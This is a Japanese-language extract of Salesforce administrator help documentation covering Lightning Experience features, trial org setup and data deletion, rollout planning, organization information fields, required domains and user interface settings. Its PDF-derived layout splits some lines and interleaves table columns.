ソールのサイドパネル

Lightning Knowledge: ファイ
ルコンポーネント

Lightning Knowledge: アク
ションの作成

Lightning Knowledge: 高評価/

低評価コンポーネント、
および評価の更新
Lightning Knowledge:

Lightning 移行ツール

Lightning Knowledge: イン
ポート

Lightning Knowledge: コミュ
ニティのサポート

Lightning Knowledge: 統合検
索
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Lightning Knowledge: レポー
ト
Lightning Knowledge:
Salesforce1

Lightning Knowledge: リッチ
テキストエディタ (CKEditor

を Quill に置き換え)

Lightning Knowledge: コン
ソールサイドバーのケー
スアクション

Lightning Knowledge: プロセ
スビルダーでのアクショ
ンの作成

Lightning Knowledge: 翻訳お
よび複数言語のサポート

Lightning Knowledge: 一括ア
クション

Lightning Knowledge: 共有お
よび条件に基づく共有

Lightning Knowledge: バー
ジョンの比較

Lightning Knowledge: 記事の
比較およびマージ
OpenCTI

コンソールの OpenCTI

ソーシャルカスタマー
サービス

ソーシャルカスタマー
サービス: ソーシャル会話
サイドバー

ソーシャルカスタマー
サービス: Facebook レ
ビュー

ソーシャルカスタマー
サービス: 引用ツイート
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サービスの設定フロー:

メール-to-ケース Twitter
Lightning

サービスの設定フロー:
Twitter Lightning

サービスの設定フロー:
Facebook Twitter Lightning

サービスの設定フロー: コ
ミュニティ Lightning

サービスの設定フロー: ナ
レッジ Lightning

サービスの設定フロー: マ
クロ Lightning

サービスの設定フロー:
Live Agent Lightning

サービスの設定フロー:
SOS Lightning

オムニ

オムニ: スーパーバイザ
Live Agent

サービス契約

エンタイトルメント
SOS

ロードマップには含まれない機能
次の Salesforce Classic 機能は Lightning Experience に追加される予定はありませんが、これらの機能に置き換わる機
能があります。

置き換わる Lightning Experience 機能Salesforce Classic 機能

Salesforce ナレッジソリューション

エンタープライズテリトリー管理テリトリー管理: 取引先の関連リスト、商談のテリト
リー項目

なし商談: 類似商談
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置き換わる Lightning Experience 機能Salesforce Classic 機能

コラボレーション売上予測売上予測: カスタマイザブル売上予測

取引先責任者-to-複数取引先取引先: 取引先責任者の役割

Lightning アクションJavaScript ボタン

Lightning Experience の説明

Lightning Experience でのセールスパスの設定: ウォークスルー
エディション

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

セールスパスを有効にす
る
• 「アプリケーションの

カスタマイズ」

セールスパスを設定する
• 「設定・定義を参照す

る」および「すべての
データの編集」

営業チームが極力遅滞なくどこからでも商談を成立させるために必要なガイダ
ンスを示します。セールスパスを設定するときに、営業担当が完了すべき主要
項目を指定できます。また、ヒントや潜在的な問題、あるいは励ましの言葉な
どを示して、迅速な商談の成立に向けて営業担当が意欲を持続できるようにし
ます。

段階的な手順: Lightning Experience でセールスパスを設定する

関連トピック:

ウォークスルーによる作業効率の向上
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Lightning Experienceで商談のリストビューを作成する: ウォークスルー
エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

商談のリストビューを作
成する
• 商談に対する「参照」

各自の条件に基づいてリストビューを作成する方法を見ていきましょう。リス
トビューを使用すれば、重要なレコードにすばやくアクセスできます。

段階的な手順: Lightning Experience で商談のリストビューを作成する

関連トピック:

ウォークスルーによる作業効率の向上

Lightning Experience で設定を確認する: ウォークスルー
エディション

すべてのエディションで
使用可能

ユーザ権限

[設定] を使用する
• 「アプリケーションの

カスタマイズ」

Lightning Experience の [設定] では、管理設定タスクの表示と管理が従来よりも容
易になりました。この機能は、Lightning Experience でのみ使用できます。

Lightning Experience で設定を確認する

関連トピック:

ウォークスルーによる作業効率の向上
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オブジェクトマネージャでオブジェクトにアクセスし編集する: ウォー
クスルー

エディション

すべてのエディションで
使用可能

ユーザ権限

オブジェクトマネージャ
でオブジェクトにアクセ
スし編集する
• 「アプリケーションの

カスタマイズ」

1 つの場所から、すべてのオブジェクト (取引先、取引先責任者など) とその関連
属性 (項目、入力規則、ページレイアウトなど) にアクセスできます。この機能
は、Lightning Experience でのみ使用できます。

段階的な手順: オブジェクトマネージャでオブジェクトにアクセスし編集
する

関連トピック:

ウォークスルーによる作業効率の向上
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Lightning Experience で権限セットを作成、編集、割り当てる: ウォー
クスルー

エディション

使用可能なエディション:
Contact Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

権限セットを作成する
• 「アプリケーションの

カスタマイズ」、「設
定・定義を参照す
る」、および「プロ
ファイルと権限セット
の管理」

権限を権限セットに追加
する
• 「設定・定義を参照す

る」および「プロファ
イルと権限セットの管
理」

権限セットを割り当てる
• 「権限セットの割り当

て」

権限セットは、さまざまなツールと機能へのアクセス権をユーザに付与する設
定と権限のコレクションです。権限セットは、ユーザのプロファイルを変更せ
ずにユーザの機能アクセス権を拡張します。

段階的な手順: 権限セットを作成、編集、割り当てる

関連トピック:

ウォークスルーによる作業効率の向上
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Salesforce 組織の設定および管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
すべてのエディション

Salesforce システム管理者、つまり管理者プロファイルに割り当てられたユーザ
は、オンラインの組織を設定する責任があります。ニーズに合わせて、ユーザ
の追加、システムの設定とカスタマイズを行います。

Salesforce を試す
登録する前に、トライアル Salesforce 組織を使用して Salesforce を評価できま
す。トライアル組織にはサンプルデータとSalesforceのさまざまな機能が搭載
され、試用後にトライアル組織から Salesforce に簡単に登録できます。
Salesforce ロールアウトの計画
Salesforce の設定を開始する前に、ロールアウトの計画に役立つリソースを確認しましょう。
Salesforce での会社の設定
Salesforce で会社の組織に関する重要事項を追跡するには、[設定] の [組織情報] ページを使用します。ここで
は、ライセンスとエンタイトルメントを管理できます。このページの情報は、会社がSalesforceにサインアッ
プするときに入力した情報です。
ユーザ管理
Salesforce では、各ユーザはユーザ名、パスワード、およびプロファイルによって一意に識別されます。プ
ロファイルはその他の設定と合わせて、ユーザが実行できるタスク、参照できるデータ、データで可能な
操作を決定します。
ユーザのアクセス権の制御
Salesforce は階層化された柔軟なデータ共有設計で、異なるデータセットを異なるユーザセットに公開し、
ユーザが必要のないデータを表示することなく作業できるようにしています。権限セットおよびプロファ
イルを使用すると、ユーザがアクセスできるオブジェクトおよび項目を指定できます。組織の共有設定、
ユーザロール、共有ルールを使用すると、ユーザが参照および編集できる個々のレコードを指定できます。
Force.com データのキャッシュ
プラットフォームキャッシュを使用すると、再利用可能なデータをメモリに保存できるため、アプリケー
ションの実行時間を短縮できます。アプリケーションはこのデータにすばやくアクセスできるため、後続
のトランザクションで計算やデータベースの要求を重複して行う必要がなくなります。
Salesforce での重複レコードの管理
クリーンで正確なデータの保持は、Salesforce を最大限に活用するための最重要の処理の 1 つです。Data.com

重複管理を使用して、Salesforceでユーザが重複レコードを作成できるかどうか、いつ作成できるかの制御、
重複レコードの特定に使用するロジックのカスタマイズ、ユーザが保存する重複レコードに関するレポー
トの作成を行います。
Salesforce 組織の保護
Salesforce は、データとアプリケーションを保護するための開発を新しく行いました。また、独自のセキュ
リティスキームを実装して、組織の構造とニーズを反映させることもできます。データの保護はお客様と
Salesforce との相互連携が必要になります。Salesforce のセキュリティ機能を使用すると、ユーザはジョブを
安全かつ効率的に実行できます。
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組織の監視
Salesforce には、Salesforce 組織内の活動を把握するためのさまざまな方法があり、正しい方向に進んでいる
かどうかを確認できます。
ユーザのモバイルデバイスでの作業の有効化
Salesforce では、場所を問わず、複数のモバイルアプリケーションの接続状態を保ち、生産性を維持するこ
とができます。

Salesforce を試す

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition および
Enterprise Edition

登録する前に、トライアル Salesforce 組織を使用して Salesforce を評価できます。
トライアル組織にはサンプルデータと Salesforce のさまざまな機能が搭載され、
試用後にトライアル組織から Salesforce に簡単に登録できます。
サインアップしたユーザが Salesforce システム管理者となります。ユーザを追加
した場合、別のシステム管理者を追加することができます。

メモ: トライアル組織に含まれる機能が、購入したエディションでは使用
できないことがあります。

新規トライアルの開始
Salesforce にサインアップすると、サンプルデータを含む業界固有のテンプレートを選択できます。トライ
アル期間中、空のテンプレートから新しいトライアルを開始することができます。新規トライアルを開始
するには、データもカスタマイズもすべて含めて、現在のトライアルを破棄します。ユーザ名だけが保持
されます。
トライアルデータの削除
Salesforce にサインアップすると、Salesforce 組織に初期データとしてサンプルデータが取り込まれます。ト
ライアル期間中、Salesforce システム管理者は、[すべてのデータの一括削除] リンクを使用して、サンプル
データとすべての組織のデータを削除できます。
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新規トライアルの開始
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition および
Enterprise Edition

ユーザ権限

必要なユーザ権限

トライアルを新規作成す
る
• 「すべてのデータの編

集」

Salesforce にサインアップすると、サンプルデータを含む業界固有のテンプレー
トを選択できます。トライアル期間中、空のテンプレートから新しいトライア
ルを開始することができます。新規トライアルを開始するには、データもカス
タマイズもすべて含めて、現在のトライアルを破棄します。ユーザ名だけが保
持されます。
以下の条件を満たす場合、新規トライアルを開始できます。
• データが 1,000 行未満
• Salesforce によって追加された追加ユーザライセンスがない
• Salesforce によって有効化された追加機能がない
1. [設定] から、[クイック検索]ボックスに「新規トライアルの開始」と入力し、

[組織の業種テンプレートの変更] を選択します。この操作はトライアル期間
中にのみ実行可能です。

2. 言語およびテンプレート設定を選択します。
3. 要求に従って、現在のトライアル組織とそのすべてのデータ (サンプルデー

タと入力したデータを含む) を破棄する旨のテキストを入力します。
4. 現在のデータがすべて失われることを確認するチェックボックスをオンにします。
5. [登録] をクリックします。
6. 確認ページが表示されたら、[登録] をクリックします。

トライアルデータの削除
エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
Professional Edition および
Enterprise Edition

ユーザ権限

トライアルデータを削除
する
• 「すべてのデータの編

集」

Salesforceにサインアップすると、Salesforce組織に初期データとしてサンプルデー
タが取り込まれます。トライアル期間中、Salesforce システム管理者は、[すべて
のデータの一括削除] リンクを使用して、サンプルデータとすべての組織のデー
タを削除できます。

メモ:  [すべてのデータの一括削除] リンクは、以下の条件をすべて満たして
いる場合にのみ表示されます。
• ユーザに「すべてのデータの編集」権限がある。
• 組織がトライアル状態である。
• 組織に有効化されているポータルがない。
• ユーザが、別のユーザに代わって操作を行うパートナー管理者でない。

1. [設定] から、[クイック検索]ボックスに「すべてのデータの一括削除」と入力
し、[すべてのデータの一括削除] を選択します。

2. 要求に従って、組織の全データ (サンプルデータと自分で入力したデータを
含む) が削除されることを了解している旨のテキストを入力します。ユーザ
およびシステム管理者の設定には影響しません。

3. [実行] をクリックします。
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メモ: データストレージ制限により、この方法でトライアルデータをすべて削除することができない場合
は、[一括削除] を使用して取引先を削除します。その後で、[すべてのデータの一括削除] を使用して残り
のトライアルデータを削除します。[一括削除] の使用方法についての詳細は、「複数のレコードおよびレ
ポートの削除」 (ページ 832)を参照してください。

Salesforce ロールアウトの計画

Salesforce の設定を開始する前に、ロールアウトの計画に役立つリソースを確認しましょう。
開始方法がわからない場合は、コンサルティングパートナーと連携して製品を最大限に活用することを検討し
てください。コンサルティングパートナーは、Salesforce認定コンサルタントを雇用する会社です。コンサルタ
ントは、お客様と連携して会社のニーズを調べ、それらのニーズを満たすSalesforce組織を設計および作成し、
チームにロールアウトする前に組織をテストします。コンサルティングパートナーは、Salesforceでのお客様の
成功を常に目標としています。
効果的なSalesforce組織のロールアウトには時間がかかり、周到な計画が必要です。パートナーと連携すること
はSalesforceの機能を活用するのに役立つことがあります。こうした場合、専門家の助言なしでは、困難で時間
がかかる可能性があります。
専門家の助言が必要かどうかわからない場合は、会社の売上目標に関する次の質問に回答して判断してくださ
い。
• ビジネスニーズを満たす適切な Salesforce 機能を開発するために時間を費やすことができる、専門知識と豊

富な経験を持つ社内要員はいますか?

• 会社が新しいビジネス、国、または業界に展開を進めていますか?

• ビジネス上の意思決定を行うときに、明確かつ客観的な視点が必要ですか?

• 数年ではなく数週間で結果を得る必要がありますか?

これでも判断できない場合は、次に示す、単独でのSalesforceのロールアウトとパートナーと連携したSalesforce

のロールアウトの比較を確認してください。

パートナーと連携した Salesforce
のロールアウト

単独での Salesforce のロールアウ
ト

比較

コンサルタントは Salesforce 認定を
受けています。

会社によっては、設定をサポート
できる Salesforce 認定従業員がいる
場合があります。

資格

コンサルタントは多数の Salesforce

組織の設定経験があり、ベストプ
ラクティスの知識があります。

通常、従業員は Salesforce の経験は
ほとんどないかまったくありませ
ん。

経験

コンサルタントは、Salesforceロール
アウトの作業範囲に専念して取り
組みます。

通常、設定は従業員の他のプロジェ
クトや優先事項と競合します。

設定に必要なリソースを使用可能
かどうか

コンサルタントは経験が豊富で広
い人脈を持ち、設定時とロールア

Salesforceは、すべてのSalesforce組織
にベーシックサポートを提供しま

外部サポート
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パートナーと連携した Salesforce
のロールアウト

単独での Salesforce のロールアウ
ト

比較

ウト時にパーソナライズされたサ
ポートを会社に提供できます。

す。サポートには、セルフヘルプ
(オンラインヘルプの記事) およびカ
スタマーサポートエージェント (2

日以内の対応を保証) へのアクセス
が含まれます。

通常、パートナーと連携した
Salesforceのロールアウトは、経験が

通常、単独での Salesforce のロール
アウトは、経験が豊富な要員がい
ない場合は多大な時間を要します。

所要時間

豊富な要員がプロジェクトに完全
に専念するため、短時間で終了し
ます。

コンサルタントが Salesforce をロー
ルアウトした場合、製品の価値は

Salesforceが適切にロールアウトされ
ていない場合、営業チームが製品

営業チームによる Salesforce の採用

明白であるため、営業チームが製の価値を認識せずに製品を安心し
品を最初から採用する可能性が非
常に高くなります。

て採用できないというリスクがあ
ります。

Salesforceパートナーは、経験が豊富
なメンバーと事前に設計されたト
レーニング資料を提供できます。

会社では、専門家の指導なしに、
従業員向けの独自のトレーニング
計画をカスタマイズしてロールア
ウトする必要があります。

トレーニングリソース

コンサルティングパートナーについての詳細、およびコンサルティングパートナーとの連携方法は、Web サイ
ト「Successfully Implement with Salesforce Partners」(Salesforce パートナーの適切な実装) を参照してください。

関連トピック:

https://help.salesforce.com/HTViewQuickStarts?id=000176287

https://help.salesforce.com/HTViewQuickStarts?id=000176287
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Salesforce での会社の設定

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

組織情報を表示する
• 「設定・定義を参照す

る」

組織情報を変更する
• 「すべてのデータの編

集」

Salesforce で会社の組織に関する重要事項を追跡するには、[設定] の [組織情報]

ページを使用します。ここでは、ライセンスとエンタイトルメントを管理でき
ます。このページの情報は、会社が Salesforce にサインアップするときに入力し
た情報です。
Sandbox 組織の場合、このページを使用して、Sandbox 組織に対して、本番環境で
提供されるライセンスを照合できます。照合プロセスでは、本番環境のライセ
ンスで Sandbox 組織が更新され、本番環境にない Sandbox のライセンスは削除さ
れます。

会社に関する情報の管理
[組織情報] ページには、組織で購入したユーザライセンスと機能ライセンス
を含む、会社に関する重要な情報がすべて表示されます (アルファベット順)。
必要なドメインを許可
ユーザが Salesforceにアクセスできるようにするには、標準 Salesforceドメイン
を許可済みドメインのリストに追加する必要があります。
ユーザインターフェースのカスタマイズ
ユーザのニーズを満たすユーザインターフェースを設計し、設定して最適な
操作環境を提供します。
Lightning Experience ホームページの設定
Lightning Experience のホームページでは、ユーザが 1 日のスケジュールを管理するために必要なすべてのも
のを提供できます。営業担当は、四半期のパフォーマンスサマリーや、大切な ToDo および商談に関する重
要な最新情報を参照できます。さらに、さまざまな種別のユーザ向けにページをカスタマイズして、プロ
ファイルごとにカスタムページを割り当てることができます。
言語、ロケール、通貨の選択
Salesforce の言語、ロケール、タイムゾーン、通貨の設定は、オブジェクト (取引先、リード、商談など) の
表示方法に影響を与える可能性があります。
会計年度の定義
ビジネスニーズに合わせて会計年度を指定します。
検索の設定
検索可能なオブジェクトと項目を見つけます。検索設定、検索結果の絞り込み、およびルックアップ検索
をカスタマイズします。検索のユーザエクスペリエンスが向上する方法を学習します。
地図およびロケーションサービスが利用可能に
地図およびロケーションサービスでは、Google マップを使用して標準住所項目の地図を表示し、Visualforce

地図を作成できます。また、ユーザがオートコンプリートを使用して新しい住所を入力できます。
レポートとダッシュボードのカスタマイズ
ユーザにとって最も役立つ方法でユーザに情報を提供するようにレポートとダッシュボードを設定します。
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重要な更新への対応
Salesforceでは、定期的に更新をリリースしています。これらの更新は、パフォーマンス、ロジック、Salesforce

の使い勝手を向上するものですが、既存のカスタマイズが正しく機能しなくなる可能性もあります。Salesforce

では、更新が利用可能になると、[設定] の [重要な更新] の一覧に掲載します。また、システム管理者が [設
定] に移動するとメッセージが表示されます。
ディビジョンを使用してデータを整理する
ディビジョンでは、組織のデータを論理セクションに分類できます。これにより、検索、レポート、およ
びリストビューがユーザにとってより有用となります。ディビジョンは、データ量が極めて多い組織に有
用です。
Salesforce のアップグレードとメンテナンス
Salesforce はメジャーアップグレード用に最大 5 分のサービス中断を確保していますが、分割や移行などの
他のメンテナンスイベント中はデータにアクセスできます。
UI 要素、レコード、および項目の権限
UI 要素にアクセスするには、Salesforce のレコードまたは項目に対する特定の権限が必要です。少なくとも、
タブ、レコード、レコード項目、関連リスト、ボタン、またはリンクを表示する「参照」権限が必要です。
レコードまたはレコード項目を編集するには、「編集」権限が必要です。
サービスを中断する方法は?

サービスがニーズに合わない場合は、サービスをキャンセルする必要があります。

関連トピック:

機能ライセンスの概要
権限セットライセンス
使用量ベースのエンタイトルメント

会社に関する情報の管理
エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能な項目は、使用
している Salesforce のエ
ディションによって異な
ります。

[組織情報] ページには、組織で購入したユーザライセンスと機能ライセンスを含
む、会社に関する重要な情報がすべて表示されます (アルファベット順)。

説明項目

組織の所在地の町名・番地。この項目
は最大 255 文字まで入力できます。

町名・番地

組織の管理者が Salesforceから管理者を
対象とした販売促進用のメールを受け
取るかどうかを選択できます。

管理者向けニュースレター

最近 24 時間内に組織が発行した API 要
求数の合計。要求の最大数は、エディ
ションによって異なります。

API 要求数 (この 24 時間以内)
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説明項目

組織の所在地の市、区、または郡。この項目は最大
40 文字まで入力できます。

市区郡

組織の本社 (本部) が税務所に報告する通貨。すべての
通貨換算率の基本になります (マルチ通貨を使用する
組織のみ)。

マスタ通貨

ユーザの住所の国部分。エントリは標準値の選択リス
トから選択するか、テキストとして入力します。テキ
スト項目の場合、最大 80 文字まで入力できます。

国

組織にサインアップするユーザ。作成日時も含まれま
す (参照のみ)。

作成者

組織が所在する国または地域。この設定は、通貨金額
に影響します。単一通貨の組織に対してのみ有効で
す。

通貨

組織の新規ユーザ用に選択されるデフォルトの言語。
この設定によって、ユーザインターフェースのテキス

言語のデフォルト値

トとヘルプに使用される言語が決まります。Personal

Edition とDatabase.com Edition を除くすべてのエディショ
ンでは、個人ユーザは自分のログイン用言語を別個に
設定して、組織の設定を上書きできます。Group Edition

では、この項目は [言語] となります。
この設定は、カスタム項目、タブ、ユーザインター
フェースのオプションなど、すべてのカスタマイズが
保存される言語も決定します。カスタマイズについて
は、各ユーザの言語設定がこの設定を上書きすること
はありません。
既存の検索条件を編集またはコピーする場合、検索条
件が最初に設定されたときに設定されたデフォルト言
語とこの設定が一致していることを確認してくださ
い。一致していないと、検索条件が期待どおりに評価
されない可能性があります。

組織の新規ユーザに選択されるデフォルトの国または
地域。この設定により、Salesforceの日付、時間、およ

地域のデフォルト値

び名前の形式が決まります。Contact Manager Edition、
Group Edition、Professional Edition、Enterprise Edition、
Unlimited Edition、Performance Edition、および Developer

Edition の組織では、各ユーザが個人のロケールを設定
でき、その設定は組織の設定を上書きします。Group

Edition では、この項目は [地域] となります。
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説明項目

組織が所在する場所の基本的な標準時の時間帯。ユー
ザ個別の [タイムゾーン]設定は、組織の [タイムゾー
ン] 設定を上書きします。

タイムゾーン

PC 営業グループなど、サービスを使用するグループ
または部門。この項目は最大 40 文字まで入力できま
す。

ディビジョン

Fax 番号。この項目は最大 40 文字まで入力できます。Fax

標準会計年度を使用する場合は、組織の会計年度が始
まる月と年。カスタム会計年度を使用する場合、この
値は「カスタム会計年度」になります。

会計年度期首月

ユーザがSalesforceにログインしたときに、予定されて
いるシステムダウンタイムが表示されないように設定
します。

システムダウンタイムに関する通知を非表示

ユーザがSalesforceにログインしたときに、予定されて
いるシステムメンテナンスが表示されないように設定
します。

システムメンテナンスに関する通知を非表示

変更日時を含む、組織情報を最後に変更したユーザ
(参照のみ)。

更新者

組織のユーザがSalesforceからユーザを対象とした販売
促進用のメールを受け取るかどうかを選択できます。

ニュースレター

Developer Edition または Enterprise Edition など、組織のエ
ディション。

組織のエディション

組織の名前。この項目は最大 80 文字まで入力できま
す。

組織名

組織の代表電話番号。この項目は最大 40 文字まで入
力できます。

電話

組織の代表取引先責任者または管理者。名前を入力す
るか、または以前に定義したユーザのリストから選択
できます。この項目は最大 80 文字まで入力できます。

主取引先責任者

今月中にログインするログインユーザ数の制限。
この値は、毎月初めに 0 にリセットされます。組織の
ログインユーザの制限数の最大値は、括弧で囲まれま
す。

制限付きログイン、当月

サービスにアクセスするために定義された Salesforce

ユーザアカウントの数。課金が適用される場合、これ
Salesforce ライセンス
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説明項目

は組織が請求されるSalesforceユーザライセンスの数に
なります。

組織が Salesforce に固有に識別されるコード。Salesforce 組織 ID

ユーザの住所の都道府県部分。エントリは標準値の選
択リストから選択するか、テキストとして入力しま

都道府県

す。テキスト項目の場合、最大 80 文字まで入力でき
ます。

最近 24 時間以内に組織が使用したストリーミング API

イベントの総数。イベントの最大数は、エディション
によって異なります。

ストリーミング API イベント数 (この 24 時間以内)

組織の郵便番号。この項目は最大 20 文字まで入力で
きます。

郵便番号

使用しているデータストレージの量。この値は単位
(例: 500 MB) または使用可能なデータストレージ領域の
合計に対する割合 (例: 10%) で表示されます。

データの使用ディスク量

使用しているデータファイルストレージの量。この値
は単位 (例: 500 MB) または使用可能なファイルストレー
ジ領域の合計に対する割合 (例: 10%) で表示されます。

ファイルの使用ディスク量

関連トピック:

Salesforce での会社の設定

必要なドメインを許可
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
すべてのエディション。

ユーザが Salesforce にアクセスできるようにするには、標準 Salesforce ドメインを
許可済みドメインのリストに追加する必要があります。
サードパーティの Cookie が無効になっている (通常、主要なブラウザではデフォ
ルトで有効になっている) 場合、Salesforce を正しく機能させるには Cookie を受け
入れる必要があります。
インターネットに対する一般的なアクセス権がある場合は、特に操作は必要あ
りません。
Salesforce では、コンテンツの配信に次のドメインを使用します。
• *.content.force.com

• *.force.com

• *.salesforce.com

• *.staticforce.com

• さらに、これらのドメインはログイン画面の右フレームでコンテンツを配信するために使用されます。
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• *.sfdcstatic.com

• secure.eloqua.com

• www.google.*

• *.doubleclick.net

• www.facebook.com

• ssl.google-analytics.com

右フレームのコンテンツは、次の URL に表示されます。
• login.salesforce.com

• test.salesforce.com

• <yourInstance>.salesforce.com

• カスタムブランド設定のない [私のドメイン] の URL (例: norns.my.salesforce.com)

ユーザインターフェースのカスタマイズ
エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用できるユーザイン
ターフェース設定は、
Salesforce のエディション
によって異なります。

ユーザ権限

ユーザインターフェース
を編集する
• 「アプリケーションの

カスタマイズ」

ユーザのニーズを満たすユーザインターフェースを設計し、設定して最適な操
作環境を提供します。
[設定] から [クイック検索] ボックスで「ユーザインターフェース」を検索しま
す。

ユーザインターフェースの設定
以下の設定を有効または無効にして、組織のユーザインターフェースを変更
します。
Salesforce Classic でのユーザインターフェースの設定
[設定] ユーザインターフェースが改善されたため、合理化された操作を使用
して、個人および管理設定作業を表示および管理できます。
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ユーザインターフェースの設定

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用できるユーザイン
ターフェース設定は、
Salesforce のエディション
によって異なります。

ユーザ権限

ユーザインターフェース
を編集する
• 「アプリケーションの

カスタマイズ」

以下の設定を有効または無効にして、組織のユーザインターフェースを変更し
ます。

ユーザインターフェースの設定
折りたたみ可能なセクションの有効化

折りたたみ可能なセクションを使用すると、レコード詳細ページでセクショ
ンヘッダーの横にある矢印アイコンによって、セクションの折りたたみや展
開が可能になります。折りたたみ可能なセクションを有効にする場合は、各
ページレイアウトでセクションヘッダーが表示されていることを確認してく
ださい。ユーザがそのタブの設定を変更するまで、セクションは展開または
折りたたまれたままです。組織でレコードタイプを有効にしている場合、
Salesforce によって各レコードタイプ用の異なる設定が記憶されています。

簡易作成の表示
タブのホームページにある [簡易作成] 領域では、ユーザが最小限の情報でレ
コードを簡単に作成できます。[簡易作成] 領域はデフォルトで、[リード]、
[取引先]、[取引先責任者]、[売上予測] および [商談] タブのホームページに表
示されます。[簡易作成] 領域を、関連するすべてのタブのホームページに表
示するかどうかを制御できます。

メモ: [簡易作成を表示] 設定は、ユーザがルックアップダイアログ内からレコードを作成できるかど
うかにも影響します。ルックアップダイアログ内でレコードを作成できるのは、選択したレコードタ
イプで [簡易作成] が使用できる場合に限られます。また、[簡易作成] がすべてのユーザに表示されて
いても、この機能を使用するためには常にユーザに適切な「作成」権限が必要です。

詳細のフロート表示の有効化
詳細のフロート表示には、レコードの詳細が対話形式でフロート表示されます。サイドバーの [最近使った
データ] リスト、またはレコード詳細ページの参照項目に表示されているレコードへのリンクにユーザがマ
ウスポインタを置くと、詳細が表示されます。ユーザはレコードを表示または編集する場合にクリックし
なくても、レコードに関する情報をすばやく参照できます。詳細のフロート表示に含まれる項目は、レコー
ドのミニページレイアウトによって決まります。表示される項目をユーザがカスタマイズすることはでき
ません。このオプションはデフォルトで有効になっています。

メモ: レコードの詳細のフロート表示を参照するには、ユーザに適切な共有アクセス権、およびミニ
ページレイアウトの項目の項目レベルセキュリティアクセス権が必要です。

関連リストのフロート表示リンクを有効化
[設定] のカスタムオブジェクト詳細ページとレコード詳細ページの最上部に、関連リストのフロート表示
リンクが表示されます。ユーザが関連リストのリンクの上にカーソルを置くと、リストとそのレコード数
が対話形式でフロート表示されます。ユーザは、フロート表示から関連リスト項目を素早く表示、管理で
きます。関連リストのフロート表示リンクをクリックして、ページを下にスクロールせずに関連リストに
ジャンプすることもできます。このオプションはデフォルトで有効になっています。

関連リストの個別の読み込みの有効化
有効にすると、すぐにプライマリレコードの詳細が表示されます。関連リストデータが読み込まれると、
進行状況インジケータが表示されます。個別に読み込むと、多くの関連リストを含む組織のレコード詳細
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ページでパフォーマンスが改善されます。デフォルトでは、このオプションが無効になっています。関連
リストを個別に読み込むオプションは、Visualforce ページ、セルフサービスポータル、またはレイアウトを
制御できないその他のページには適用されません。

外部オブジェクトの関連リストの別途読み込みを有効化
有効にすると、標準オブジェクトとカスタムオブジェクトのプライマリレコードの詳細と関連リストから、
外部オブジェクトの関連リストが個別に読み込まれます。外部オブジェクトの動作はカスタムオブジェク
トと似ていますが、Salesforce 組織外に保存されたデータに対応付けられるという点が異なります。ネット
ワーク遅延と外部システムの可用性によっては、外部システムからのデータの取得に時間がかかる場合が
あります。デフォルトで [外部オブジェクトの関連リストの別途読み込みを有効化]オプションは選択されて
います。関連リストを個別に読み込むオプションは、Visualforce ページ、セルフサービスポータル、または
レイアウトを制御できないその他のページには適用されません。

インライン編集を有効化
インライン編集では、レコードの編集ページで直接、項目をすばやく編集できます。このオプションはデ
フォルトで有効になっており、組織内の全ユーザに適用されます。

メモ: このオプションによってプロファイルのインライン編集が有効になることはありません。[設定]

で [拡張プロファイルリストビューを有効化] を選択します。
拡張リストの有効化

拡張リストにより、リストデータのすばやい表示、カスタマイズ、および編集を可能にして、日々の生産
性向上をはかることができます。[インライン編集を有効化] を使用して有効化すると、ユーザはページか
ら移動せずに、リストから直接レコードを編集することもできます。デフォルトでは、このオプションが
有効になっています。

メモ: 特にプロファイルの拡張リストを有効にするには、[設定] の [拡張プロファイルリストビューを
有効化] を選択します。

Salesforce Classic 2010 ユーザインターフェースのテーマの有効化
このオプションは、Lightning Experienceには関連しません。この「Salesforce Classic 2010 ユーザインターフェー
スのテーマ」とは、Lightning Experienceの直前のインターフェースであるSalesforce Classicの新しいバージョン
のことです。このオプションを有効にすると、Salesforce Classicのデザインが更新されます。無効にすると、
従来の Salesforce インターフェースである Salesforce Classic 2005 ユーザインターフェースのテーマが有効にな
ります。

警告:  Chatter などの一部の機能には、Salesforce Classic 2010 ユーザインターフェースのテーマが必要で
す。このテーマを無効にすると、Salesforce Classic と Lightning Experience の両方で Chatter が自動的に無効
になります。

サポートされるブラウザを使用しているユーザにのみ、Salesforce Classic 2010 ユーザインターフェースのテー
マが表示されます。
Salesforce Classic 2010 ユーザインターフェースのテーマは、[ポータル] タブまたは [コンソール] タブではサポー
トされません。

タブバーオーガナイザを有効化
タブバーオーガナイザは、ページが水平スクロールしないようにメインタブバー内のタブを調整します。
オーガナイザは、ブラウザウィンドウの幅に基づいて、表示できるタブの数を動的に判断します。ブラウ
ザの表示可能領域を超えるタブは、ドロップダウンリストに配置されます。

301

ユーザインターフェースのカスタマイズSalesforce 組織の設定および管理



メモ: 次の制限に注意してください。
• タブバーオーガナイザは、パートナーポータルまたはカスタマーポータルでは使用できません。
• タブバーオーガナイザは、Salesforce Classic 2010 ユーザインターフェースのテーマでのみ使用できま

す。Salesforce Classic 2005 ユーザインターフェースのテーマを使用している組織ではこの機能を有効
にできますが、新しいテーマも有効にしない限りユーザは使用できません。

• タブバーオーガナイザは、Internet Explorer 6 では使用できません。

印刷用リストビューを有効化
印刷用リストビューにより、リストビューの印刷が容易になります。有効になっている場合、任意のリス
トビューから [印刷用に表示] リンクをクリックすると、新しいブラウザウィンドウが開き、リストビュー
が印刷形式で表示されます。このリンクは、そのページの色付きタイトルバーにある[このページのヘルプ]

リンクの横にあります。
ToDo と行動のスペルチェックの有効化

